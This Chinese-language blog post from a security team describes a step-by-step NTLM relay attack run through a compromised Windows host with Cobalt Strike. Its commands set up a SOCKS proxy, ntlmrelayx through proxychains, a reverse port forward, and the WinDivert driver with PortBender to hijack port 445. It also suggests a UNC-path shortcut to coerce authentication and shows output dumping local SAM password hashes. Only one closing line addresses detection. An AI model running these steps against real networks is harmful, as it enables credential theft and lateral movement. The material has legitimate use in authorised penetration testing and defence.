前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过 Cobalt Strike 进行 NTLM 中继

通过 Cobalt Strike 进行 NTLM 中继

原创
作者头像
Khan安全团队
发布2021-12-29 16:26:50
1K0
发布2021-12-29 16:26:50
举报
文章被收录于专栏:Khan安全团队Khan安全团队

NTLM 中继是渗透测试期间一种流行的攻击策略,而且执行起来非常简单。只需在客户站点上卷起,将您的笔记本电脑插入 LAN,启动响应器和 ntlmrelayx,然后您就可以离开了。

大多数机会性中继发生在用户或机器尝试访问不存在的 SMB 资源时。因此,它会发送广播请求,响应者之类的工具将为其发送中毒响应。有一些策略可以强制请求专门针对您正在侦听的地址。例如 – 创建一个 Windows 快捷方式,图标设置为 UNC 路径(例如\\attacker-ip\pwn.icon),将其放置在网络共享中并等待用户浏览该共享。还有一些服务在其默认配置中容易受到中继攻击,例如Active Directory 证书服务

可以肯定地说,NTLM 中继不会很快消失。然而,由于一些原因,通过 C2 框架进行中继并不那么简单。假设您已经破坏了 Windows 端点:

  • 端口 445 已经被操作系统绑定,所以你不能简单地嗅探传入的流量。
  • 流行的 Python 工具不会在 Windows 上本地运行。

第二点很容易解决,我们可以在本地 Linux VM 或 WSL 上运行它们,并将流量隧道传输到它。重定向端口 445 上的传入流量是稍微棘手的部分,但可以使用诸如WinDivert 之类的工具。这是一个驱动程序(是的,一个驱动程序),它能够拦截和重定向传入的网络数据包,然后才能访问底层服务。

有多个项目利用 WinDivert 在 post-ex 工具中实现这种类型的流量重定向,包括DivertTCPconnStreamDivertPortBender。DivertTCPconn 和 StreamDivert 编译为 EXE,PortBender 编译为反射 DLL。两者都是足够通用的实现,几乎可以通过任何 C2 框架运行,尽管 PortBender 具有包含 Aggressor 脚本的额外好处。

这些工具允许我们将来自端口 445 的流量定向到另一个任意本地端口。在这个端口上,我们可以启动一个反向端口转发,它将再次将流量重定向到运行中继工具的位置。

Cobalt Strike 确实有一个rportfwd命令,它将绑定受感染机器上的端口,将该流量隧道返回到团队服务器,并将其转发到指定的 IP 和端口。不便之处在于它要求您的中继工具在团队服务器本身或可从团队服务器路由的另一台机器上运行。

rportfwd_local在于,替代仅就隧道交通作为球队的服务器,它会被转发到运行谁启动它的运营商的钴罢工客户机命令不同。这意味着您可以在 VM 或您自己机器的 WSL 中运行中继工具。

最后,对于将流量发送回目标网络的中继工具,我们可以使用socks命令。

将如下所示:

通常以相反的顺序设置攻击。您希望在重定向流量之前一切正常运行,这样您就不会错过任何内容。

  1. 启动 SOCKS 代理。
代码语言:javascript
复制
beacon> socks 1080
[+] started SOCKS4a server on: 1080

2. 在代理链中运行 ntlmrelayx。在本例中,10.10.17.68 是目标机器。

代码语言:javascript
复制
root@Ghost-Canyon:~# proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://10.10.17.68
-smb2support

[*] Protocol Client RPC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server

[*] Servers started, waiting for connections

3. 在将运行 PortBender 的同一台机器上启动反向端口转发。172.20.77.73 是我的 WSL Ubuntu 映像的 IP 地址。

代码语言:javascript
复制
beacon> rportfwd_local 8445 172.20.77.73 445
[+] started reverse port forward on 8445 to rasta -> 172.20.77.73:445

4. 上传WinDivert64.sys(或WinDiver32.sys,取决于目标架构),然后运行PortBender。

加载驱动程序需要本地管理员访问权限,因此此 Beacon 以 SYSTEM 身份运行。

代码语言:javascript
复制
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> pwd
[*] Current directory is C:\Windows\system32\drivers

beacon> upload C:\Tools\PortBender\WinDivert64.sys

beacon> PortBender redirect 445 8445
[+] Launching PortBender module using reflective DLL injection
Initializing PortBender in redirector mode
Configuring redirection of connections targeting 445/TCP to 8445/TCP

当445端口收到连接时,PortBender会在Beacon控制台上报。发生这种情况时,请检查 ntlmrelayx!

代码语言:javascript
复制
New connection from 10.10.17.132:49937 to 10.10.17.25:445
Disconnect from 10.10.17.132:49937 to 10.10.17.25:445

正如预期的那样,流量一直通过隧道传输到 ntlmrelayx 正在侦听的 WSL 实例;并且它已将流量中继到内部网络上的目标机器。默认情况下,它转储本地 SAM 数据库。

代码语言:javascript
复制
[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Connection from DEV/NLAMB@172.20.64.1 controlled, attacking target smb://10.10.17.68
|S-chain|-<>-10.10.5.120:1080-<><>-10.10.17.68:445-<><>-OK
[*] Authenticating against smb://10.10.17.68 as DEV/NLAMB SUCCEED
[*] SMBD-Thread-4: Connection from DEV/NLAMB@172.20.64.1 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x20c5ee68f38fa77abdb7912a6dcc042a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b423cdd3ad21718de4490d9344afef72:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Done dumping SAM hashes for host: 10.10.17.68
[*] Stopping service RemoteRegistry

要停止 PortBender,请使用jobs命令列出正在运行的作业。这将为您提供作业 ID (JID) 和关联的 PID。 使用 jobkill <jid>停止作业,然后使用kill <pid>关闭生成的进程。

除了通常的 MS 对 NTLM 中继缓解的指导外,您还可能希望查找 WinDivert 驱动程序加载事件(Sysmon 事件 ID 6)。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档